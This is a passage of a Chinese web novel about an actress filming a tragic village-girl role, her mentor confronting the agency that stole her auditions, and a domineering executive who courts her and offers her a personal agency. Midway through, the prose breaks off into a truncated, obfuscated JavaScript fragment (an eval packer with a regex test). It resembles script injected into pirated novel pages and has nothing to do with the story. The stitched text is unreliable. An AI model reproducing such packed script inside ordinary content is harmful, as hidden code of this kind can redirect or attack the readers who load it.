她甚至怀疑自己是不是走错了学校，或者错过了他们搬新校区，听说上面拨了钱，他们要和隔壁的学校合并，到时候就不只有几个年级了，每个年级都有。 喜儿开始慌了，她毕竟就那么点大，在王老师的想象里成为成年人的喜儿还是个弱小的学生，她想去找别的同学问，但不敢，她想回家去，怕爸妈问是不是真的能免费读书。 最后雨下大了，有班在欢呼体育课不用上咯，喜儿一低头跑出去了，剧本里这段她应该是出去找老师同学的，也因此在山间失足打滑，直接失去了年轻的生命。 但是陆执明看着盛蹊的演绎有不同的想法。现在还是镜头初摄阶段，没有大雨，电闪雷鸣那种处理，他本来只是让盛蹊试试。但是盛蹊演完之后，让他看到了一种新的可能： “喜儿有没有可能不是自己跑出去的，她其实没这么强的主动性，但是她害怕待在学校，也因为这种争取让她有一种命运不受她控制的恐惧，所以她必须动起来，必须继续去争取，她才相信自己能挣脱出去。” 陆执明说完，叹息：“这个角色太可惜了。” 陆蕙兰看着他。说得好像不是他爱人写的这个本子。陆执明的爱人刘敏，也是一位颇有名气的乡土作家，和其他男作家写土地写性不同，她老是写这种仿佛没有被成年人社会污染的，遗憾的少女角色。写她们的失落，痛苦，抑郁，写她们的折戟沉沙，年少身亡。 这个本子递出去的时候没有人拍，等刘敏拿了知名文学奖后又争着要拍了。他们几个老同学商量了一下，不能咽下这口气，分股权买的版权，又给陆执明拍。 陆执明拍之前信誓旦旦，说一定给她找到完美的喜儿，不是幻想里的庄悦那个模样，而是书里描写，“就是喜儿长大那个模样的”，质朴，世界狭隘，但不是故意扮蠢的那种演员。 现在他找到了，还在碎碎念：“技巧有余，灵气不足，不行。”他拍桌子，又拿起喇叭：“那个喜儿！你过来，把这段看看，待会儿降雨，重拍！” 副导演在旁边很吃惊：“七点了，现在开机器啊？”雨等不来，他们都是直接洒水的。但是开了可要收拾，还要计算成本啊。 “废什么话，”陆执明不耐烦地摆手，“让他们来，你，你过来，给她把妆补一补，那种疲惫感不要太强了，王春心里的喜儿大概还是年轻点儿的。” 陆蕙兰在旁边冷笑连连，盛蹊浑身都湿透了，来到这，她才一指：“跑了个一千米了，还要给你说台词顺情绪，还要给你拍几个机位，疲惫感能不强吗？老陆，人是给你来拍戏的，不是来当耗材的！” 陆执明这才讪讪，让盛蹊去休息休息，休息完和颜悦色和她讲解，又叮嘱她暂时不要出组，真喜儿指不定要加镜头呢。剧组人悄悄看盛蹊。 其实不用陆导说，他刚喊“喜儿”的时候他们就回过味来了，陆导确实爱拍爆发戏，但是让他脱口而出角色名的，这部戏里还没有一个。 陆蕙兰不动声色地旁观一会儿，确认学生状态还好，没被陆执明直言不讳的“有些部分太僵了，演得不好”打击到，才放下心。等陆执明终于絮絮叨叨去找编剧——也是他妻子的妹妹，还要和老婆去商量剧本改版那里，陆蕙兰才说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何修觉得这不是假话，因为刚刚清楚看到宁露的名字后，他清楚宁露是不可能拥有陆总的电话号码的，那么电话打到陆总这里的原因只有一个。 是盛蹊先接到宁露的电话，然后呼叫转移才强制转到陆总这来的——陆总本来没想管，是他们得了便宜还要卖乖之后，才把本来脾气就不很好的陆总激怒了的。 但他们怎么会突然就想找上门来了呢？ 何修先应着，私下里去查才知道，原来是他们暗地里截下盛蹊试镜机会的事在盛蹊老师那东窗事发了，老师知道后直接发怒了。 陆蕙兰联系了当初联系试镜的那些导演和剧组，确认之后要求盛蹊的公司赔偿和道歉，并且厉声询问谁给他们的权利，这属于挪用和盗取别人的名额！ 虽然当初因为不想给盛蹊喂饭或者给她不够合适的角色引人诟病，她并没有明说介绍的是谁，也没有去问过那些导演的想法如何，但是这不代表她特意照顾、挑中给学生尝试的，可以问都不问就成为他们的东西了。 而且他们还踩在盛蹊的骨血上扬名立万。 虽然盛蹊说的时候还是很抱歉，没有意识到这件事里陆蕙兰并没有被亏欠什么，但是陆蕙兰还是气得脸色铁青，而且回去就在自己的朋友圈里把这件事扩大了。 “简直是滑天下之大稽，”一个陆蕙兰曾经推荐盛蹊去试镜过的导演这么评论，当初因为来试镜的人水平太差了，他为了不驳老友的面子才含糊说没通过，后来认识了盛蹊，也只和陆蕙兰以为是她看不上，才推给别人，“什么时候靠实力认可推荐的东西也能成为别人的利益交换了？” 导演圈很多都是并不清高的商业人士，可就是因为商业人士还愿意接受陆蕙兰的推荐，这推荐才显得珍贵。陆蕙兰淡圈这么久了，不代表她就真的没有学生没有朋友了。 她也鲜少这样疾言厉色。 盛蹊知道的时候都有些吃惊。但她明白老师是为自己出头，所以当宁露姐打来电话的时候，她看看，还是没有接。祝游打着出公差的幌子来看盛蹊，见盛蹊表情沉默探头看了一眼，下一秒，她看到电话被切走了。 陆总打了电话来，而且他还笑：“你不好意思做，我做这个坏人就是了。” 盛蹊反驳：“我没有必要不好意思。” 她沉默一下，然后自嘲：“只是我的话没有份量而已。” 如果有份量，宁露姐，宁露怎么会想到现在才来找自己道歉呢？说到底，只是因为老师让他们害怕了而已。 陆其昌柔声说：“你总是那么优柔寡断，没关系，这也可以成为你的优点，至于陆其昌，你早就评价过是个不择手段的人是吗？” 盛蹊望向远处：“对于不择手段的人来说，翻旧账有什么收益呢？” 陆其昌站起来。他一起身，办公室内的灯光都晃了一下，暗下一块了，何修就站在灯光的阴影里，听他们陆总说：“确实是没有收益。不过，做了能让我开心就是了。” 祝游还在那惊讶陆总是看了什么霸总小说，竟然不像强/制爱里的法制/咖男主角而像个人了，就看见盛老师竟然眼眶红了一下。 她只是忽然想起。 她已经很久没有做事只为了自己开心。 陆其昌要去找他们算账，盛蹊反而说起她拍喜儿的事，反正双倍可信度用都用了，她轻声说：“除开今天发生的其他事外，我真的都很开心。” 再一次拿到一个独立的角色也很开心，和老师解开心结也很开心，意识到以前不都是自己的错也很开心……听自己说，只是为了让我开心，也很开心。 陆其昌站在电梯里慢条斯理：“恭喜你，快变得像我一点了。” 盛蹊微微闭了眼，吸气：“像陆其昌没有什么不好的。” 祝游手背在身后，其实已经在想象脑海里有个手机疯狂打字：啊啊啊，陆盛真的很好嗑，盛老师直接喊陆总的名字，有一种本来没想向他靠近，但是不受控制地被吸引的感觉有没有！陆总也很像教坏被献祭的公主的恶龙。 她不是更像他了。 是更像本来就该无所畏惧的盛蹊自己了。 34. 第 34 章 陆其昌下楼的时候其实还在思考如何让自己原来的公司闭嘴。虽然他觉得心慈手软显然是违背人设的行为，但顶级秘书何修显然不这么觉得。 专用电梯缓慢下行的时候，贴心助手就像是看出老板的情绪一样细心地说：“您是觉得做得太狠可能会让盛老师觉得您不留余地吗？” 陆其昌瞥他一眼，而何修露出微笑。但是一个恶劣的老板是不会这么容易让下属称心如意的，他嘴角微扯，近乎戏谑地说：“不就是一个积年的恩怨罢了，有什么必要让我赶尽杀绝？” 他尾音扬起，好似刚刚在电话里说要做坏人的那个不是他似的，不过就算如此也很符合陆总展现在人前的品性，居高临下，戏谑嘲弄，是这些自诩精英人士的基本美德。而盛蹊好像还更容易中招一点——她再怎么迷途知返，毕竟冷落了陆总五年不是吗？ 陆总一时兴起想要捉弄她一瞬，也是正常的。不过陆总的一言一行让何修觉得老板不是这样的人，主要是他要是为了做戏，接到电话就站了起来，而且将近一个小时都在思考如何平衡他的怒气和盛蹊的委屈，还有可能有的畏惧，那何修也不介意把这做戏当成是真的了：这位老板还是没有意识到。 他或许可以用逼真的嘲讽和傲慢逼得不认识他的人觉得，他和盛蹊只是玩玩而已，但正是因为何修足够了解他，才知道这位陆总下意识花心思和时间的举动骗不了人。 何修就直说了吧：他的同行跟的几个高层对待新婚妻子和家人都未必有这么耐心和懂得心疼人。更不用说……是这么一个喜欢阴阳怪气的主了。 他几乎每次嘲讽盛蹊都是觉得她对自己真是太“不错”了呢。一个言必提及自己优越的人，竟然不在意盛蹊时不时的没有电话，不会报备，和不在乎他的反应。 她只是偶尔回应而已，他却好像二十四个小时，每一刻都做好了准备。何修看着电梯壁的光滑表面，心想，准备充分得他都有点恶心了。 刁钻上司居然是个恋爱脑是个什么体验啊谁懂。 陆其昌百无聊赖地摁亮手机，这时电梯到了，但是并不是没有人：尽管这是他的专用电梯，但有时候也会有不长眼的意图在这里蹲守以期望见到他。 而陆其昌也不出所料地根本不认识那三人，可能是因为盛蹊的求助让他心情很好，他没有露出恼怒，仅仅只是轻飘飘地瞥他们一眼，向前走，然后何修拦着不让他们靠近，并且低声解释：“之前某博热搜那次……” 哦，陆其昌恍然大悟，就是那几个不知死活爆他和本体吃饭的。其实这种情况陆其昌早有预料，可信度倾向毕竟只是“倾向”，而非事实，所以就算陆其昌马甲怎么声名在外，也总会有不怎么愿意相信，或者不以为意的群众，会把这个可信度倾向忽略掉，做出不被可信度影响的举动。 比如明知陆其昌不好惹，但是对盛蹊的不满占了上风，于是爆出了照片，寄希望于炒作她以不当手段上位。但是陆其昌以雷霆手段压下了热搜并且和某博的负责人“聊了聊”后，他们的轻飘飘的惧怕又立刻变成实质的了。 虽然盛蹊成为表演顾问的热搜已经是某博的赔罪，但是被公司处罚的几人还是想要等一等，求陆总高抬贵手。 陆其昌的眉心皱了一下，还没成个川字，何修已经识趣地把人赶走，但是这位阴晴不定的上司显然是个很喜欢折腾人的人，他慢条斯理地看他一眼，然后在何修微感不妙的时候啧了一声：“算了。” 何修：“……” 还好不是让他去把那三个人请回来，陆其昌看了眼腕表，姿态依然傲慢，好像刚刚的深思熟虑担心盛蹊不满不存在似的，他又恢复成那个玩弄人心的资本家。确实优柔寡断才是假象，真正的陆其昌可是无所不用其极且，一毛不拔。 他可不做慈善投资。 陆其昌站在车门边，敲了敲车门：“你去约某博的负责人，说，我有个大料要给他爆。” 何修：“……” 他已经猜到这位祖宗要干什么，但是委婉提醒：“盛老师不喜欢过分喧闹，过于闹大是不是不太好。”他其实想说依赖舆论，但想到宋盛公司都有人嗑，又止住了。 陆其昌看他一眼，掩耳盗铃似的，轻嗤：“你什么时候看我考虑过其他人的想法。再说了。”他扬眉，慢慢地：“闹大不好吗？” 他说得像是毒蛇慢慢地吐信子：“闹大了，他们才不会想着从我这抢人，她也不会想着，和他一样，和我撇清关系了。” 他转转腕表，好像真的只是在看时间似的：“认识十几年，有什么了不起。”这位陆总微笑：“利益和竞争关系，才是最纯粹的。” 那您打压自己公司的艺人，扶持一个还没正式签约的表演顾问，符合您的利益吗？这句话何修忍住了，没问，他算是看出来了，陆总是彻底沉浸在这个自以为是金主，其实是嫉妒心作祟的疯狂变态男的游戏里了，别管其他人是怎么以为忌惮的，陆总只承认自己是盛蹊的投资者。 至于投资者为什么要等她五年做亏本生意，甚至为她讨回公道……别问，问就是，她有这个价值。作为金牌秘书，何修怀疑的不是盛蹊有没有这个价值，而是，他看中的真的是她的价值吗？ 那种隐秘到窥探到内心最自□□，才能探听到她内心的极其微小的秘密的能力。那种明知她不能袒露给任何不信任的人听，否则有一点点火花就会引发极大危机的叹息、欣慰，坦然。那种发现她不如想象中完美大度，反而一点点变得真实，小器，狭隘，反而渐生的亲密，不是更接近于爱吗。 陆其昌一直在放任其他人的情绪，所以在可信度倾向那看见“在乎盛蹊”的时候，眉梢微扬，甚至以为他对本体事无巨细都帮助伸张正义的举动，引得其他人都对他有了太过正面的期待。 不过时间自会证明，一个唯我独尊的资本家会多么讨人厌的，所以他也不急，只是闭眼。何修在开车的路上很上道地拨通了盛蹊的电话。 陆其昌睁开眼，不赞同地看何修一眼，其实主要是不明白他这个时候拨通本体的电话干什么，但是盛蹊还是开着双倍可信度接了。 她在看剧组最后的收尾，今天已经很晚了，她刚拍完，庄悦饰演喜儿再走了一遍，一旁已经有道具组的在打包道具，因为今夜有雨会潮。 她这么有一句没一句地说着，陆其昌都没有给回答，其实是她自己忘了要回了，忽然说：“其实有没有可能是我给了他们欺侮我的机会？” 她认为好一点的戏都找不到她，也没有去问过，所以他们才如此肆无忌惮。 这确实是一个嘲讽打压回去的好时候，何修看了他们老板一眼，主要是对他的印象还停留在对其他人无差别攻击的时候，他也很清楚，身为老板，要熟练掌握这种PUA话术，先贬低再爱护，其实很易如反掌。他要是真想对盛蹊怎么做，无须多说，主导几句话的节奏就是了。 但是他给的回应就是在这个这么适合嘲讽的时候，手撑着车窗边沿，淡淡听着，甚至连严苛深邃的眉眼都没露出轻蔑的弧度。 他甚至弯了弯嘴角，虽然没有笑意，但语气里也没有别的起伏：“或许是吧。” “但是，那又怎么样呢？” 那又怎么样呢？他又不在乎。就像他和其他人和自己说的，他做事只管自己开心。本体无须承担这份开心的代价，甚至可以理所当然地获得这份开心的成果。 要下雨了，所以盛蹊有点冷了，祝游跟在她身边，本来直勾勾地在看陆蕙兰演戏，快收工了陆蕙兰也演完了，她立刻站起来，看盛蹊冷把外套给她披上，这才发现盛蹊在打电话。 她在吸鼻子，不是哭，单纯冷。 “陆其昌。”盛蹊轻声：“我杀青了。” 不知道为什么，就是这么简单一句话，剧组因为盛蹊加了戏份，但加的也不是很多，也没有杀青庆祝，老师倒是提了要和她吃饭，但也不是今天，不是现在。 在这个潮湿的即将到来的雨夜里，她披着外套轻轻地和他说她杀青了，祝游忽然理解为什么宋寅在网上分享拿到了一个很好的角色还有她的成功时，会有人嗑上了。分享本来就是爱的开端。 极端安静下的心灵深处的分享，有点像是暧昧到最后的沉淀。明知道气氛已经过头了，但是控制不住。这是比越过社交亲密距离更亲密的，越过灵魂相知相触边界的，心灵的负距离接触。 但陆其昌说：“嗯。” 他也不说别的什么，也许她那么感性的一句话，他不在乎，也许他根本没听懂她此刻多愁的情绪，也许他只是习惯用这种方式应对。 祝游支起耳朵，听到他们陆总说：“晚上去吃饭。” “……”什么嘛，无聊直男。祝游心情就像一个过山车忽然平稳落地了，正无语呢，盛老师低头在笑，她一边轻轻地笑着，陆其昌说：“去城北那家烤鱼。” 祝游：？？ 盛蹊忙道：“你舍得去？你还没有去过那种地方吧？”烤鱼她跑龙套的时候常去吃，实在太不符合陆其昌的调性了。 陆其昌随意散漫道：“管他什么地方。盛蹊，恭喜你杀青。”他柔声说完，不过很快商人本性就显露出来了。 资本家是不可能在什么地方无偿撒下蜜糖而不索取回报的，他恭喜完就用那种他原来也可以说出来，但是不屑用在任何地方，他也不是讨好盛蹊，而是纯自己高兴，所以语调柔和，所以难得迷人的温柔嗓音说：“吃完，你陪我去见见你老师好吗？” 何修大脑发达，他很快意识到这个举动不仅仅是为了刷陆老师的好感度，也是因为：宁戏是她介绍的。要让盛蹊从表演顾问变成他一个人的附属，陆蕙兰的中间说和是必备程序。 盛蹊又沉默了。太快了。 他柔声：“不是说杀青很高兴吗？你现在说，老师也不会阻挠你什么的，而且你不想来陪我吗？” 盛蹊的嗓音一秒变得艰涩——听得祝游心里大喊气死她了！ “这会让我和老师都觉得我很功利的。” 真正功利的陆总坐在车窗内。半晌，他笑了一下。摸了一下窗户边缘。和以前一样，没有灰尘。不过他惯会吹毛求疵的，眯了下眼，何修就懂了，这辆车以后不用开了。真是神经，车招他惹他了。 陆其昌：“不要总在这个时候让我想起我是个商人。盛蹊，功利有错吗？我和你做的又不是赔本交易。” 他淡漠下来：“今明两天，你来选。” 他的语气并没有咄咄逼人，但是电话那头始终没说话，陆其昌很没有耐性地直接挂断，抬头看到红灯间隙何修在通过后视镜看他，往后靠，眼睛闭起来，嘴角边在轻嗤。 在乎盛蹊。 陆其昌近乎冷漠地心想，他可不能让他们看出来在乎，也不能让他们觉得轻忽，只要和其他人一样，把她当成一个商品一样就是了，虽然不太可能真的那样对待自己，但是学习就是了。 他以为挂断电话就已经是够冷漠了，但他没发现何修后半段都没有回头了——连他都看得出来陆总心情因为这通电话变得很不好。 毕竟关系深入到窥探内心就是这点不好。没谈过恋爱的人总是以为包容是宠，放任是爱，但是真正触及过心里挚爱的人才知道，越是亲密，越是无法忍受价值观的一点点摩擦。 因为如果靠得不够近，根本没有彼此冲突的那一天。 真是稀奇。何修叹息，自己都快成情感大师了。一个这么傲慢的人，竟也会在乎，被人看成是功利。 盛蹊自己坐在剧组外边的花坛里边，没有座位，只是包围花树贴的瓷砖。祝游去找暖宝宝，找了一圈，看到她看着黑黑的微蓝的天在发呆，叹了口气，走过去小声叫了一声。 盛蹊不想没礼貌，努力微笑了一下，起身的时候祝游小声问：“盛老师不想离开宁戏吗？” 盛蹊犹豫一下，摇了摇头。 祝游试探：“那是不想来我们公司？” 也不是。 盛 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但是她想说，没有比去陆总那里更安全了。 这么多年，只有陆总会真的在意你，以后能不能拍戏。 祝游关切地注视着她，过了片刻，她忽然发现盛蹊不打电话了，她好像不需要这个媒介去传递自己的情绪，也没有再低落下来，只是在剧组外面徘徊。 祝游还在嘀咕要不要打车，这是要干什么之类的，忽然看到一束远光灯，车过来，陆总下来，天哪，毫不夸张地说，和那天他抱盛蹊下车似的。 窄腰宽肩的陆总高达身形一下来，影子笼罩盛老师。盛蹊歪头看了他一会儿，他忽然爽朗地笑出声，不开玩笑，何修和祝游都见鬼似的看向突然大方开明不少的陆其昌。 虽然他之后干的还是不是人事，盛蹊只是向前几步，他把人直接拥到怀里，盛蹊披着的外套掉落，他单手轻易接住，然后他整个人就给盛蹊挡住寒风了。 他居高临下，睥睨四野似的：“你怎么知道我会来。”他只是圆这个本体和马甲都没想起来要用手机约定留下的谎。 但盛蹊抬起头，没有挣脱也没有回答，声音略轻，被风裹着似的，但风也似陆其昌，每一寸每一刻都侵占着她周围的领域：“今天请老师就够了。” 她眼睫轻轻动了动：“我和你回去。” 天光是她最初想签约的公司，只是她没有被看上，她转而选择了愿意为她谋划的宁露所在的公司而已。 陆其昌指腹刮去她脸上的痕迹，叹声：“没有什么天光娱乐了。路途娱乐是签给你一个人的，喜欢吗？” 盛蹊微微张嘴，她愕然不是因为竟然不知道自己有这个想法，她当然知道，是没有想到她将公司只签她一个人想法说出来变成事实。虽然这样更自由，但是资金呢，公司运营呢，就她一个人够吗？ 有马甲在，盛蹊还是退缩了。不过陆其昌没给允许，他说服自己这是因为陆其昌的人设就是说一不二，说出来了，没有收回的道理：“我唯有一个条件。” “以后退圈，不能说是为了其他任何的人了。” 退圈不是她愿意的，而是，她那个时候真心觉得宋寅比她更有价值。 现在喜儿杀青了，从前的恩怨找上门来了，老师告诉她对她有愧疚，那他也要告诉自己说：“你要确信，盛蹊，这个世界上没人比你更有价值。” 他的表情如此从容笃定，几乎就是盛蹊希望自己具有的那种神态。 也许演着演着，真的会骗过自己吧。 盛蹊站了一天，有点脱力了，她感觉到他吻吻自己的额头，这已经是很亲密了，但是对于陆其昌来说，已经十分绅士。毕竟他现在几乎搂着她整个人，让她完全只能依靠在自己身上。 陆其昌喟叹：“只能慢慢一点一点重新教你了。” 盛蹊不说话。祝游站在一边根本看都不敢看，看何秘发现他已经懂事垂头了，她睁大眼睛，发现陆总看过来也连忙学着垂头。 盛蹊哑声，气若游丝地说——其实这句话放这里很奇怪，但是何修和祝游他们都没有觉得奇异——“我没有不愿意。” 退圈又重新回圈，成为表演顾问，被老师觉得功利，一心想回到辜负自己的行业里，我没有不愿意，都是我愿意的，只是偶尔，我也有点踟蹰，有点害怕。 她闭上眼睛，抓住陆其昌的手臂。这时她才发现他的身躯真宽阔，四肢真有力啊，他甚至掰开她的手，把她打横抱起来，让她感觉一下她的重量，对他来说轻而易举。 她一直在想谁会扶得起她，谁能帮助得了她，但其实人可以自己把自己举高。盛蹊抱着陆其昌马甲的脖颈，靠近时感觉到两颗心心跳如擂鼓。 陆其昌说：“你老师出来了。” 盛蹊哑声说：“我们结婚吧。” …… 风轻轻地打了几个旋。 陆其昌看她，说：“我要的不是一个妻子。”她要的也不是和他的夫妻关系短暂平息许多舆论而已。确实，盛蹊闭眼，是她又下意识想走捷径了。 陆蕙兰往这边看过来，陆其昌低头说：“让他们相信我是为你的魅力而折服。”他微笑说：“这和让他们被你的演技所征服是一样的。” 这时候何修又觉得陆其昌有魅力了。真是怪，他前半个小时还在骂这个黑心资本家不做人。人家想躲远点怎么了，大老远跑到这里来。 盛蹊问：“你就只能折服于我吗？” 陆其昌喟叹：“……明知故问。”他看上去像是在哄她，偏偏语气听起来又宠溺似的很认真，只有盛蹊知道她这是在自己回答自己。 是，我只折服于你。 不论世界如何，盛蹊，我是你第一个和最后一个，最好的也是最坏的，最严厉也是是宽容的，最喜欢你也是最讨厌你的，但是归根结底最后一个陪伴你到底的观众。 请尽情地取悦我吧。